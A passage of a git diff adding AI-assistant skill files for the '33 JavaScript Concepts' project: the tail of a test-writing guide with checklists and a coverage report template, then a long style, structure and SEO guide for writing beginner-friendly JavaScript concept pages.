Run with coverage +npm run test:coverage + +# Run with verbose output +npm test -- --reporter=verbose +``` + +--- + +## Quality Checklist + +### Completeness +- [ ] All testable code examples have corresponding tests +- [ ] Tests organized by documentation sections +- [ ] Source line references included in comments (From lines XX-YY) +- [ ] DOM tests in separate `.dom.test.js` file +- [ ] Edge cases and error examples tested + +### Correctness +- [ ] Tests verify the actual documented behavior +- [ ] Output comments in docs match test expectations +- [ ] Async tests properly use async/await +- [ ] Error tests use correct `toThrow` pattern +- [ ] Floating point comparisons use `toBeCloseTo` +- [ ] Object comparisons use `toEqual` (not `toBe`) + +### Convention +- [ ] Uses explicit imports from vitest +- [ ] Follows describe/it nesting pattern +- [ ] Test names start with "should" +- [ ] Proper file naming (`{concept}.test.js`) +- [ ] DOM tests have jsdom environment directive + +### Verification +- [ ] All tests pass: `npm test -- tests/{category}/{concept}/` +- [ ] No skipped tests without documented reason +- [ ] No false positives (tests that pass for wrong reasons) + +--- + +## Test Report Template + +Use this template to document test coverage for a concept page. + +```markdown +# Test Coverage Report: [Concept Name] + +**Concept Page:** `/docs/concepts/[slug].mdx` +**Test File:** `/tests/{category}/{concept}/{concept}.test.js` +**DOM Test File:** `/tests/{category}/{concept}/{concept}.dom.test.js` (if applicable) +**Date:** YYYY-MM-DD +**Author:** [Name/Claude] + +## Summary + +| Metric | Count | +|--------|-------| +| Total Code Examples in Doc | XX | +| Testable Examples | XX | +| Tests Written | XX | +| DOM Tests Written | XX | +| Skipped (with reason) | XX | + +## Tests by Section + +| Section | Line Range | Examples | Tests | Status | +|---------|------------|----------|-------|--------| +| [Section 1] | XX-YY | X | X | ✅ | +| [Section 2] | XX-YY | X | X | ✅ | +| [Section 3] | XX-YY | X | X | ⚠️ (1 skipped) | + +## Skipped Examples + +| Line | Example Description | Reason | +|------|---------------------|--------| +| XX | ASCII diagram of call stack | Conceptual, not executable | +| YY | Browser fetch example | Requires network, mocked instead | + +## Test Execution + +```bash +npm test -- tests/{category}/{concept}/ +``` + +**Result:** ✅ XX passing | ❌ X failing | ⏭️ X skipped + +## Notes + +[Any special considerations, mock requirements, or issues encountered] +``` + +--- + +## Common Issues and Solutions + +### Issue: Test passes but shouldn't + +**Problem:** Test expectations don't match documentation output + +**Solution:** Double-check the expected value matches the `console.log` comment exactly + +```javascript +// Documentation says: console.log(result) // [1, 2, 3] +// Make sure test uses: +expect(result).toEqual([1, 2, 3]) // NOT toBe for arrays +``` + +### Issue: Async test times out + +**Problem:** Async test never resolves + +**Solution:** Ensure all promises are awaited and async function is marked + +```javascript +// Bad +it('should fetch data', () => { + const data = fetchData() // Missing await! + expect(data).toBeDefined() +}) + +// Good +it('should fetch data', async () => { + const data = await fetchData() + expect(data).toBeDefined() +}) +``` + +### Issue: DOM test fails with "document is not defined" + +**Problem:** Missing jsdom environment + +**Solution:** Add environment directive at top of file + +```javascript +/** + * @vitest-environment jsdom + */ +``` + +### Issue: Test isolation problems + +**Problem:** Tests affect each other + +**Solution:** Use beforeEach/afterEach for cleanup + +```javascript +afterEach(() => { + document.body.innerHTML = '' + vi.restoreAllMocks() +}) +``` + +--- + +## Summary + +When writing tests for a concept page: + +1. **Extract all code examples** from the documentation +2. **Categorize** as testable, DOM, error, or conceptual +3. **Create test file** in correct location with proper naming +4. **Convert each example** to test using appropriate pattern +5. **Reference source lines** in comments for traceability +6. **Run tests** to verify all pass +7. **Document coverage** using the report template + +**Remember:** Tests serve two purposes: +1. Verify documentation is accurate +2. Catch regressions if code examples are updated + +Every testable code example in the documentation should have a corresponding test. If an example can't be tested, document why. diff --git a/.claude/skills/write-concept/SKILL.md b/.claude/skills/write-concept/SKILL.md new file mode 100644 index 00000000..26fd5a6a --- /dev/null +++ b/.claude/skills/write-concept/SKILL.md @@ -0,0 +1,1444 @@ +--- +name: write-concept +description: Write or review JavaScript concept documentation pages for the 33 JavaScript Concepts project, following strict structure and quality guidelines +--- + +# Skill: Write JavaScript Concept Documentation + +Use this skill when writing or improving concept documentation pages for the 33 JavaScript Concepts project. + +## When to Use + +- Creating a new concept page in `/docs/concepts/` +- Rewriting or significantly improving an existing concept page +- Reviewing an existing concept page for quality and completeness +- Adding explanatory content to a concept + +## Target Audience + +Remember: **the reader might be someone who has never coded before or is just learning JavaScript**. Write with empathy for beginners while still providing depth for intermediate developers. Make complex topics feel approachable and never assume prior knowledge without linking to prerequisites. + +## Writing Guidelines + +### Voice and Tone + +- **Conversational but authoritative**: Write like you're explaining to a smart friend +- **Encouraging**: Make complex topics feel approachable +- **Practical**: Focus on real-world applications and use cases +- **Concise**: Respect the reader's time; avoid unnecessary verbosity +- **Question-driven**: Open sections with questions the reader might have + +### Avoiding AI-Generated Language + +Your writing must sound human, not AI-generated. Here are specific patterns to avoid: + +#### Words and Phrases to Avoid + +| ❌ Avoid | ✓ Use Instead | +|----------|---------------| +| "Master [concept]" | "Learn [concept]" | +| "dramatically easier/better" | "much easier" or "cleaner" | +| "one fundamental thing" | "one simple thing" | +| "one of the most important concepts" | "This is a big one" | +| "essential points" | "key things to remember" | +| "understanding X deeply improves" | "knowing X well makes Y easier" | +| "To truly understand" | "Let's look at" or "Here's how" | +| "This is crucial" | "This trips people up" | +| "It's worth noting that" | Just state the thing directly | +| "It's important to remember" | "Don't forget:" or "Remember:" | +| "In order to" | "To" | +| "Due to the fact that" | "Because" | +| "At the end of the day" | Remove entirely | +| "When it comes to" | Remove or rephrase | +| "In this section, we will" | Just start explaining | +| "As mentioned earlier" | Remove or link to the section | + +#### Repetitive Emphasis Patterns + +Don't use the same lead-in pattern repeatedly. Vary your emphasis: + +| Instead of repeating... | Vary with... | +|------------------------|--------------| +| "Key insight:" | "Don't forget:", "The pattern:", "Here's the thing:" | +| "Best practice:" | "Pro tip:", "Quick check:", "A good habit:" | +| "Important:" | "Watch out:", "Heads up:", "Note:" | +| "Remember:" | "Keep in mind:", "The rule:", "Think of it this way:" | + +#### Em Dash (—) Overuse + +AI-generated text overuses em dashes. Limit their use and prefer periods, commas, or colons: + +| ❌ Em Dash Overuse | ✓ Better Alternative | +|-------------------|---------------------| +| "async/await — syntactic sugar that..." | "async/await. It's syntactic sugar that..." | +| "understand Promises — async/await is built..." | "understand Promises. async/await is built..." | +| "doesn't throw an error — you just get..." | "doesn't throw an error. You just get..." | +| "outside of async functions — but only in..." | "outside of async functions, but only in..." | +| "Fails fast — if any Promise rejects..." | "Fails fast. If any Promise rejects..." | +| "achieve the same thing — the choice..." | "achieve the same thing. The choice..." | + +**When em dashes ARE acceptable:** +- In Key Takeaways section (consistent formatting for the numbered list) +- In MDN card titles (e.g., "async function — MDN") +- In interview answer step-by-step explanations (structured formatting) +- Sparingly when a true parenthetical aside reads naturally + +**Rule of thumb:** If you have more than 10-15 em dashes in a 1500-word document outside of structured sections, you're overusing them. After writing, search for "—" and evaluate each one. + +#### Superlatives and Filler Words + +Avoid vague superlatives that add no information: + +| ❌ Avoid | ✓ Use Instead | +|----------|---------------| +| "dramatically" | "much" or remove entirely | +| "fundamentally" | "simply" or be specific about what's fundamental | +| "incredibly" | remove or be specific | +| "extremely" | remove or be specific | +| "absolutely" | remove | +| "basically" | remove (if you need it, you're not explaining clearly) | +| "essentially" | remove or just explain directly | +| "very" | remove or use a stronger word | +| "really" | remove | +| "actually" | remove (unless correcting a misconception) | +| "In fact" | remove (just state the fact) | +| "Interestingly" | remove (let the reader decide if it's interesting) | + +#### Stiff/Formal Phrases + +Replace formal academic-style phrases with conversational alternatives: + +| ❌ Stiff | ✓ Conversational | +|---------|------------------| +| "It should be noted that" | "Note that" or just state it | +| "One might wonder" | "You might wonder" | +| "This enables developers to" | "This lets you" | +| "The aforementioned" | "this" or name it again | +| "Subsequently" | "Then" or "Next" | +| "Utilize" | "Use" | +| "Commence" | "Start" | +| "Prior to" | "Before" | +| "In the event that" | "If" | +| "A considerable amount of" | "A lot of" or "Many" | + +#### Playful Touches (Use Sparingly) + +Add occasional human touches to make the content feel less robotic, but don't overdo it: + +```javascript +// ✓ Good: One playful comment per section +// Callback hell - nested so deep you need a flashlight + +// ✓ Good: Conversational aside +// forEach and async don't play well together — it just fires and forgets: + +// ✓ Good: Relatable frustration +// Finally, error handling that doesn't make you want to flip a table. + +// ❌ Bad: Trying too hard +// Callback hell - it's like a Russian nesting doll had a baby with a spaghetti monster! 🍝 + +// ❌ Bad: Forced humor +// Let's dive into the AMAZING world of Promises! 🎉🚀 +``` + +**Guidelines:** +- One or two playful touches per major section is enough +- Humor should arise naturally from the content +- Avoid emojis in body text (they're fine in comments occasionally) +- Don't explain your jokes +- If a playful line doesn't work, just be direct instead + +### Page Structure (Follow This Exactly) + +Every concept page MUST follow this structure in this exact order: + +```mdx +--- +title: "Concept Name: [Hook] in JavaScript" +sidebarTitle: "Concept Name: [Hook]" +description: "SEO-friendly description in 150-160 characters starting with action word" +--- + +[Opening hook - Start with engaging questions that make the reader curious] +[Example: "How does JavaScript get data from a server? How do you load user profiles, submit forms, or fetch the latest posts from an API?"] + +[Immediately show a simple code example demonstrating the concept] + +```javascript +// This is how you [do the thing] in JavaScript +const example = doSomething() +console.log(example) // Expected output +``` + +[Brief explanation connecting to what they'll learn, with **[inline MDN links](https://developer.mozilla.org/...)** for key terms] + + +**What you'll learn in this guide:** +- Key learning outcome 1 +- Key learning outcome 2 +- Key learning outcome 3 +- Key learning outcome 4 (aim for 5-7 items) + + + +[Optional: Prerequisites or important notices - place AFTER Info box] +**Prerequisite:** This guide assumes you understand [Related Concept](/concepts/related-concept). If you're not comfortable with that yet, read that guide first! + + +--- + +## [First Major Section - e.g., "What is X?"] + +[Core explanation with inline MDN links for any new terms/APIs introduced] + +[Optional: CardGroup with MDN reference links for this section] + +--- + +## [Analogy Section - e.g., "The Restaurant Analogy"] + +[Relatable real-world analogy that makes the concept click] + +[ASCII art diagram visualizing the concept] + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ DIAGRAM TITLE │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ [Visual representation of the concept] │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +## [Core Concepts Section] + +[Deep dive with code examples, tables, and Mintlify components] + + + + Explanation of the first step + + + Explanation of the second step + + + + + + Detailed explanation with code examples + + + Detailed explanation with code examples + + + + +**Quick Rule of Thumb:** [Memorable summary or mnemonic] + + +--- + +## [The API/Implementation Section] + +[How to actually use the concept in code] + +### Basic Usage + +```javascript +// Basic example with step-by-step comments +// Step 1: Do this +const step1 = something() + +// Step 2: Then this +const step2 = somethingElse(step1) + +// Step 3: Finally +console.log(step2) // Expected output +``` + +### [Advanced Pattern] + +```javascript +// More complex real-world example +``` + +--- + +## [Common Mistakes Section - e.g., "The #1 Fetch Mistake"] + +[Highlight the most common mistake developers make] + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ VISUAL COMPARISON │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ WRONG WAY RIGHT WAY │ +│ ───────── ───────── │ +│ • Problem 1 • Solution 1 │ +│ • Problem 2 • Solution 2 │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +```javascript +// ❌ WRONG - Explanation of why this is wrong +const bad = wrongApproach() + +// ✓ CORRECT - Explanation of the right way +const good = correctApproach() +``` + + +**The Trap:** [Clear explanation of what goes wrong and why] + + +--- + +## [Advanced Patterns Section] + +[Real-world patterns and best practices] + +### Pattern Name + +```javascript +// Reusable pattern with practical application +async function realWorldExample() { + // Implementation +} + +// Usage +const result = await realWorldExample() +``` + +--- + +## Key Takeaways + + +**The key things to remember:** + +1. **First key point** — Brief explanation + +2. **Second key point** — Brief explanation + +3. **Third key point** — Brief explanation + +4. **Fourth key point** — Brief explanation + +5. **Fifth key point** — Brief explanation + +[Aim for 8-10 key takeaways that summarize everything] + + +--- + +## Test Your Knowledge + + + + **Answer:** + + [Clear explanation] + + ```javascript + // Code example demonstrating the answer + ``` + + + + **Answer:** + + [Clear explanation with code if needed] + + + [Aim for 5-6 questions covering the main topics] + + +--- + +## Related Concepts + + + + How it connects to this concept + + + How it connects to this concept + + + +--- + +## Reference + + + + Official MDN documentation for the main concept + + + Additional MDN reference + + + +## Articles + + + + Brief description of what the reader will learn from this article. + + [Aim for 4-6 high-quality articles] + + +## Videos + + + + Brief description of what the video covers. + + [Aim for 3-4 quality videos] + +``` + +--- + +## SEO Guidelines + +SEO (Search Engine Optimization) is **critical** for this project. Each concept page should rank for the various ways developers search for that concept. Our goal is to appear in search results for queries like: + +- "what is [concept] in JavaScript" +- "how does [concept] work in JavaScript" +- "[concept] JavaScript explained" +- "[concept] JavaScript tutorial" +- "JavaScript [concept] example" + +Every writing decision — from title to structure to word choice — should consider search intent. + +--- + +### Target Keywords for Each Concept + +Each concept page targets a **keyword cluster** — the family of related search queries. Before writing, identify these for your concept: + +| Keyword Type | Pattern | Example (DOM) | +|--------------|---------|---------------| +| **Primary** | [concept] + JavaScript | "DOM JavaScript", "JavaScript DOM" | +| **What is** | what is [concept] in JavaScript | "what is the DOM in JavaScript" | +| **How does** | how does [concept] work | "how does the DOM work in JavaScript" | +| **How to** | how to [action] with [concept] | "how to manipulate the DOM" | +| **Tutorial** | [concept] tutorial/guide/explained | "DOM tutorial JavaScript" | +| **Comparison** | [concept] vs [related] | "DOM vs virtual DOM" | + +**More Keyword Cluster Examples:** + + + + | Type | Keywords | + |------|----------| + | Primary | "JavaScript closures", "closures in JavaScript" | + | What is | "what is a closure in JavaScript", "what are closures" | + | How does | "how do closures work in JavaScript", "how closures work" | + | Why use | "why use closures JavaScript", "closure use cases" | + | Example | "JavaScript closure example", "closure examples" | + | Interview | "closure interview questions JavaScript" | + + + + | Type | Keywords | + |------|----------| + | Primary | "JavaScript Promises", "Promises in JavaScript" | + | What is | "what is a Promise in JavaScript", "what are Promises" | + | How does | "how do Promises work", "how Promises work JavaScript" | + | How to | "how to use Promises", "how to chain Promises" | + | Comparison | "Promises vs callbacks", "Promises vs async await" | + | Error | "Promise error handling", "Promise catch" | + + + + | Type | Keywords | + |------|----------| + | Primary | "JavaScript event loop", "event loop JavaScript" | + | What is | "what is the event loop in JavaScript" | + | How does | "how does the event loop work", "how event loop works" | + | Visual | "event loop explained", "event loop visualization" | + | Related | "call stack and event loop", "task queue JavaScript" | + + + + | Type | Keywords | + |------|----------| + | Primary | "JavaScript call stack", "call stack JavaScript" | + | What is | "what is the call stack in JavaScript" | + | How does | "how does the call stack work" | + | Error | "call stack overflow JavaScript", "maximum call stack size exceeded" | + | Visual | "call stack explained", "call stack visualization" | + + + +--- + +### Title Tag Optimization + +The frontmatter has **two title fields**: +- `title` — The page's `` tag (SEO, appears in search results) +- `sidebarTitle` — The sidebar navigation text (cleaner, no "JavaScript" since we're on a JS site) + +**The Two-Title Pattern:** + +```mdx +--- +title: "Closures: How Functions Remember Their Scope in JavaScript" +sidebarTitle: "Closures: How Functions Remember Their Scope" +--- +``` + +- **`title`** ends with "in JavaScript" for SEO keyword placement +- **`sidebarTitle`** omits "JavaScript" for cleaner navigation + +**Rules:** +1. **50-60 characters** ideal length for `title` (Google truncates longer titles) +2. **Concept name first** — lead with the topic, "JavaScript" comes at the end +3. **Add a hook** — what will the reader understand or be able to do? +4. **Be specific** — generic titles don't rank + +**Title Formulas That Work:** + +``` +title: "[Concept]: [What You'll Understand] in JavaScript" +sidebarTitle: "[Concept]: [What You'll Understand]" + +title: "[Concept]: [Benefit or Outcome] in JavaScript" +sidebarTitle: "[Concept]: [Benefit or Outcome]" +``` + +**Title Examples:** + +| ❌ Bad | ✓ title (SEO) | ✓ sidebarTitle (Navigation) | +|--------|---------------|----------------------------| +| `"Closures"` | `"Closures: How Functions Remember Their Scope in JavaScript"` | `"Closures: How Functions Remember Their Scope"` | +| `"DOM"` | `"DOM: How Browsers Represent Web Pages in JavaScript"` | `"DOM: How Browsers Represent Web Pages"` | +| `"Promises"` | `"Promises: Handling Async Operations in JavaScript"` | `"Promises: Handling Async Operations"` | +| `"Call Stack"` | `"Call Stack: How Function Execution Works in JavaScript"` | `"Call Stack: How Function Execution Works"` | +| `"Event Loop"` | `"Event Loop: How Async Code Actually Runs in JavaScript"` | `"Event Loop: How Async Code Actually Runs"` | +| `"Scope"` | `"Scope and Closures: Variable Visibility in JavaScript"` | `"Scope and Closures: Variable Visibility"` | +| `"this"` | `"this: How Context Binding Works in JavaScript"` | `"this: How Context Binding Works"` | +| `"Prototype"` | `"Prototype Chain: Understanding Inheritance in JavaScript"` | `"Prototype Chain: Understanding Inheritance"` | + +**Character Count Check:** +Before finalizing, verify your `title` length: +- Under 50 chars: Consider adding more descriptive context +- 50-60 chars: Perfect length +- Over 60 chars: Will be truncated in search results — shorten it + +--- + +### Meta Description Optimization + +The `description` field becomes the meta description — **the snippet users see in search results**. A compelling description increases click-through rate. + +**Rules:** +1. **150-160 characters** maximum (Google truncates longer descriptions) +2. **Include primary keyword** in the first half +3. **Include secondary keywords** naturally if space allows +4. **Start with an action word** — "Learn", "Understand", "Discover" (avoid "Master" — sounds AI-generated) +5. **Promise specific value** — what will they learn? +6. **End with a hook** — give them a reason to click + +**Description Formula:** + +``` +[Action word] [what the concept is] in JavaScript. [Specific things they'll learn]: [topic 1], [topic 2], and [topic 3]. +``` + +**Description Examples:** + +| Concept | ❌ Too Short (Low CTR) | ✓ SEO-Optimized (150-160 chars) | +|---------|----------------------|--------------------------------| +| DOM | `"Understanding the DOM"` | `"Learn how the DOM works in JavaScript. Understand how browsers represent HTML as a tree, select and manipulate elements, traverse nodes, and optimize rendering."` | +| Closures | `"Functions that remember"` | `"Learn JavaScript closures and how functions remember their scope. Covers lexical scoping, practical use cases, memory considerations, and common closure patterns."` | +| Promises | `"Async JavaScript"` | `"Understand JavaScript Promises for handling asynchronous operations. Learn to create, chain, and combine Promises, handle errors properly, and write cleaner async code."` | +| Event Loop | `"How async works"` | `"Discover how the JavaScript event loop manages async code execution. Understand the call stack, task queue, microtasks, and why JavaScript is single-threaded but non-blocking."` | +| Call Stack | `"Function execution"` | `"Learn how the JavaScript call stack tracks function execution. Understand stack frames, execution context, stack overflow errors, and how recursion affects the stack."` | +| this | `"Understanding this"` | `"Learn the 'this' keyword in JavaScript and how context binding works. Covers the four binding rules, arrow function behavior, and how to use call, apply, and bind."` | + +**Character Count Check:** +- Under 120 chars: You're leaving value on the table — add more specifics +- 150-160 chars: Optimal length +- Over 160 chars: Will be truncated — edit ruthlessly + +--- + +### Keyword Placement Strategy + +Keywords must appear in strategic locations — but **always naturally**. Keyword stuffing hurts rankings. + +**Priority Placement Locations:** + +| Priority | Location | How to Include | +|----------|----------|----------------| +| 🔴 Critical | Title | Primary keyword in first half | +| 🔴 Critical | Meta description | Primary keyword + 1-2 secondary | +| 🔴 Critical | First paragraph | Natural mention within first 100 words | +| 🟠 High | H2 headings | Question-format headings with keywords | +| 🟠 High | "What you'll learn" box | Topic-related phrases | +| 🟡 Medium | H3 subheadings | Related keywords and concepts | +| 🟡 Medium | Key Takeaways | Reinforce main keywords naturally | +| 🟢 Good | Alt text | If using images, include keywords | + +**Example: Keyword Placement for DOM Page** + +```mdx +--- +title: "DOM: How Browsers Represent Web Pages in JavaScript" ← 🔴 Primary: "in JavaScript" at end +sidebarTitle: "DOM: How Browsers Represent Web Pages" ← Sidebar: no "JavaScript" +description: "Learn how the DOM works in JavaScript. Understand ← 🔴 Primary: "DOM works in JavaScript" +how browsers represent HTML as a tree, select and manipulate ← 🔴 Secondary: "manipulate elements" +elements, traverse nodes, and optimize rendering." +--- + +How does JavaScript change what you see on a webpage? ← Hook question +The **Document Object Model (DOM)** is a programming interface ← 🔴 Primary keyword in first paragraph +for web documents. It represents your HTML as a **tree of +objects** that JavaScript can read and manipulate. + +<Info> +**What you'll learn in this guide:** ← 🟠 Topic reinforcement +- What the DOM actually is +- How to select elements (getElementById vs querySelector) ← Secondary keywords +- How to traverse the DOM tree +- How to create, modify, and remove elements ← "DOM" implicit +- How browsers render the DOM (Critical Rendering Path) +</Info> + +## What is the DOM in JavaScript? ← 🟠 H2 with question keyword + +The DOM (Document Object Model) is... ← Natural repetition + +## How the DOM Works ← 🟠 H2 with "how" keyword + +## DOM Manipulation Methods ← 🟡 H3 with related keyword + +## Key Takeaways ← 🟡 Reinforce in summary +``` + +**Warning Signs of Keyword Stuffing:** +- Same exact phrase appears more than 3-4 times per 1000 words +- Sentences read awkwardly because keywords were forced in +- Using keywords where pronouns ("it", "they", "this") would be natural + +--- + +### Answering Search Intent + +Google ranks pages that **directly answer the user's query**. Structure your content to satisfy search intent immediately. + +**The First Paragraph Rule:** + +The first paragraph after any H2 should directly answer the implied question. Don't build up to the answer — lead with it. + +```mdx +<!-- ❌ BAD: Builds up to the answer --> +## What is the Event Loop? + +Before we can understand the event loop, we need to talk about JavaScript's +single-threaded nature. You see, JavaScript can only do one thing at a time, +and this creates some interesting challenges. The way JavaScript handles +this is through something called... the event loop. + +<!-- ✓ GOOD: Answers immediately --> +## What is the Event Loop? + +The **event loop** is JavaScript's mechanism for executing code, handling events, +and managing asynchronous operations. It continuously monitors the call stack +and task queue, moving queued callbacks to the stack when it's empty — this is +how JavaScript handles async code despite being single-threaded. +``` + +**Question-Format H2 Headings:** + +Use H2s that match how people search: + +| Search Query | H2 to Use | +|--------------|-----------| +| "what is the DOM" | `## What is the DOM?` | +| "how closures work" | `## How Do Closures Work?` | +| "why use promises" | `## Why Use Promises?` | +| "when to use async await" | `## When Should You Use async/await?` | + +--- + +### Featured Snippet Optimization + +Featured snippets appear at **position zero** — above all organic results. Structure your content to win them. + +**Snippet Types and How to Win Them:** + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ FEATURED SNIPPET TYPES │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ QUERY TYPE SNIPPET FORMAT YOUR CONTENT STRUCTURE │ +│ ─────────── ────────────── ───────────────────────── │ +│ │ +│ "What is X" Paragraph 40-60 word definition │ +│ immediately after H2 │ +│ │ +│ "How to X" Numbered list <Steps> component or │ +│ numbered Markdown list │ +│ │ +│ "X vs Y" Table Comparison table with │ +│ clear column headers │ +│ │ +│ "Types of X" Bulleted list Bullet list under │ +│ descriptive H2 │ +│ │ +│ "[X] examples" Bulleted list or Code examples with │ +│ code block brief explanations │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +**Pattern 1: Definition Snippet (40-60 words)** + +For "what is [concept]" queries: + +```mdx +## What is a Closure in JavaScript? + +A **closure** is a function that retains access to variables from its outer +(enclosing) scope, even after that outer function has finished executing. +Closures are created every time a function is created in JavaScript, allowing +inner functions to "remember" and access their lexical environment. +``` + +**Why this wins:** +- H2 matches search query exactly +- Bold keyword in first sentence +- 40-60 word complete definition +- Explains the "why" not just the "what" + +**Pattern 2: List Snippet (Steps)** + +For "how to [action]" queries: + +```mdx +## How to Make a Fetch Request in JavaScript + +<Steps> + <Step title="1. Call fetch() with the URL"> + The `fetch()` function takes a URL and returns a Promise that resolves to a Response object. + </Step> + + <Step title="2. Check if the response was successful"> + Always verify `response.ok` before processing — fetch doesn't throw on HTTP errors. + </Step> + + <Step title="3. Parse the response body"> + Use `response.json()` for JSON data, `response.text()` for plain text. + </Step> + + <Step title="4. Handle errors properly"> + Wrap everything in try/catch to handle both network and HTTP errors. + </Step> +</Steps> +``` + +**Pattern 3: Table Snippet (Comparison)** + +For "[X] vs [Y]" queries: + +```mdx +## == vs === in JavaScript + +| Aspect | `==` (Loose Equality) | `===` (Strict Equality) | +|--------|----------------------|------------------------| +| Type coercion | Yes — converts types before comparing | No — types must match | +| Speed | Slower (coercion overhead) | Faster (no coercion) | +| Predictability | Can produce surprising results | Always predictable | +| Recommendation | Avoid in most cases | Use by default | + +```javascript +// Examples +5 == "5" // true (string coerced to number) +5 === "5" // false (different types) +``` +``` + +**Pattern 4: List Snippet (Types/Categories)** + +For "types of [concept]" queries: + +```mdx +## Types of Scope in JavaScript + +JavaScript has three types of scope that determine where variables are accessible: + +- **Global Scope** — Variables declared outside any function or block; accessible everywhere +- **Function Scope** — Variables declared inside a function with `var`; accessible only within that function +- **Block Scope** — Variables declared with `let` or `const` inside `{}`; accessible only within that block +``` + +--- + +### Content Structure for SEO + +How you structure content affects both rankings and user experience. + +**The Inverted Pyramid:** + +Put the most important information first. Search engines and users both prefer content that answers questions immediately. + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ THE INVERTED PYRAMID │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ │ +│ ┌─────────────────────────────────────┐ │ +│ │ ANSWER THE QUESTION │ ← First 100 words │ +│ │ Definition + Core Concept │ (most important) │ +│ └──────────────────┬──────────────────┘ │ +│ │ │ +│ ┌────────────────┴────────────────┐ │ +│ │ EXPLAIN HOW IT WORKS │ ← Next 300 words │ +│ │ Mechanism + Visual Diagram │ (supporting info) │ +│ └────────────────┬─────────────────┘ │ +│ │ │ +│ ┌──────────────────┴──────────────────┐ │ +│ │ SHOW PRACTICAL EXAMPLES │ ← Code examples │ +│ │ Code + Step-by-step │ (proof it works) │ +│ └──────────────────┬──────────────────┘ │ +│ │ │ +│ ┌──────────────────────┴──────────────────────┐ │ +│ │ COVER EDGE CASES │ ← Advanced │ +│ │ Common mistakes, gotchas │ (depth) │ +│ └──────────────────────┬──────────────────────┘ │ +│ │ │ +│ ┌──────────────────────────┴──────────────────────────┐ │ +│ │ ADDITIONAL RESOURCES │ ← External │ +│ │ Related concepts, articles, videos │ (links) │ +│ └──────────────────────────────────────────────────────┘ │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +**Scannable Content Patterns:** + +Google favors content that's easy to scan. Use these elements: + +| Element | SEO Benefit | When to Use | +|---------|-------------|-------------| +| Short paragraphs | Reduces bounce rate | Always (2-4 sentences max) | +| Bullet lists | Often become featured snippets | Lists of 3+ items | +| Numbered lists | "How to" snippet potential | Sequential steps | +| Tables | High snippet potential | Comparisons, reference data | +| Bold text | Highlights keywords for crawlers | First mention of key terms | +| Headings (H2/H3) | Structure signals to Google | Every major topic shift | + +**Content Length Guidelines:** + +| Length | Assessment | Action | +|--------|------------|--------| +| Under 1,000 words | Too thin | Add more depth, examples, edge cases | +| 1,000-1,500 words | Minimum viable | Acceptable for simple concepts | +| 1,500-2,500 words | Good | Standard for most concept pages | +| 2,500-4,000 words | Excellent | Ideal for comprehensive guides | +| Over 4,000 words | Evaluate | Consider splitting into multiple pages | + +**Note:** Length alone doesn't guarantee rankings. Every section must add value — don't pad content. + +--- + +### Internal Linking for SEO + +Internal links help search engines understand your site structure and distribute page authority. + +**Topic Cluster Strategy:** + +Think of concept pages as an interconnected network. Every concept should link to 3-5 related concepts: + +``` + ┌─────────────────┐ + ┌───────│ Promises │───────┐ + │ └────────┬────────┘ │ + │ │ │ + ▼ ▼ ▼ + ┌───────────┐ ┌───────────────┐ ┌─────────────┐ + │async/await│◄──►│ Event Loop │◄──►│ Callbacks │ + └───────────┘ └───────────────┘ └─────────────┘ + │ │ │ + │ ▼ │ + │ ┌───────────────┐ │ + └──────►│ Call Stack │◄───────┘ + └───────────────┘ +``` + +**Link Placement Guidelines:** + +1. **In Prerequisites (Warning box):** +```mdx +<Warning> +**Prerequisite:** This guide assumes you understand [Promises](/concepts/promises) and the [Event Loop](/concepts/event-loop). Read those first if you're not comfortable with asynchronous JavaScript. +</Warning> +``` + +2. **In Body Content (natural context):** +```mdx +When the callback finishes, it's added to the task queue — which is managed by the [event loop](/concepts/event-loop). +``` + +3. **In Related Concepts Section:** +```mdx +<CardGroup cols={2}> + <Card title="Promises" icon="handshake" href="/concepts/promises"> + async/await is built on top of Promises + </Card> + <Card title="Event Loop" icon="arrows-spin" href="/concepts/event-loop"> + How JavaScript manages async operations + </Card> +</CardGroup> +``` + +**Anchor Text Best Practices:** + +| ❌ Bad Anchor Text | ✓ Good Anchor Text | Why | +|-------------------|-------------------|-----| +| "click here" | "event loop guide" | Descriptive, includes keyword | +| "this article" | "our Promises concept" | Tells Google what page is about | +| "here" | "JavaScript closures" | Keywords in anchor text | +| "read more" | "understanding the call stack" | Natural, informative | + +--- + +### URL and Slug Best Practices + +URLs (slugs) are a minor but meaningful ranking factor. + +**Rules:** +1. **Use lowercase** — `closures` not `Closures` +2. **Use hyphens** — `call-stack` not `call_stack` or `callstack` +3. **Keep it short** — aim for 3-5 words maximum +4. **Include primary keyword** — the concept name +5. **Avoid stop words** — skip "the", "and", "in", "of" unless necessary + +**Slug Examples:** + +| Concept | ❌ Avoid | ✓ Use | +|---------|---------|-------| +| The Event Loop | `the-event-loop` | `event-loop` | +| this, call, apply and bind | `this-call-apply-and-bind` | `this-call-apply-bind` | +| Scope and Closures | `scope-and-closures` | `scope-and-closures` (acceptable) or `scope-closures` | +| DOM and Layout Trees | `dom-and-layout-trees` | `dom` or `dom-layout-trees` | + +**Note:** For this project, slugs are already set. When creating new pages, follow these conventions. + +--- + +### Opening Paragraph: The SEO Power Move + +The opening paragraph is prime SEO real estate. It should: +1. Hook the reader with a question they're asking +2. Include the primary keyword naturally +3. Provide a brief definition or answer +4. Set up what they'll learn + +**Template:** + +```mdx +[Question hook that matches search intent?] [Maybe another question?] + +The **[Primary Keyword]** is [brief definition that answers "what is X"]. +[One sentence explaining why it matters or what it enables]. + +```javascript +// Immediately show a simple example +``` + +[Brief transition to "What you'll learn" box] +``` + +**Example (Closures):** + +```mdx +Why do some functions seem to "remember" variables that should have disappeared? +How can a callback still access variables from a function that finished running +long ago? + +The answer is **closures** — one of JavaScript's most powerful (and often +misunderstood) features. A closure is a function that retains access to its +outer scope's variables, even after that outer scope has finished executing. + +```javascript +function createCounter() { + let count = 0 // This variable is "enclosed" by the returned function + return function() { + count++ + return count + } +} + +const counter = createCounter() 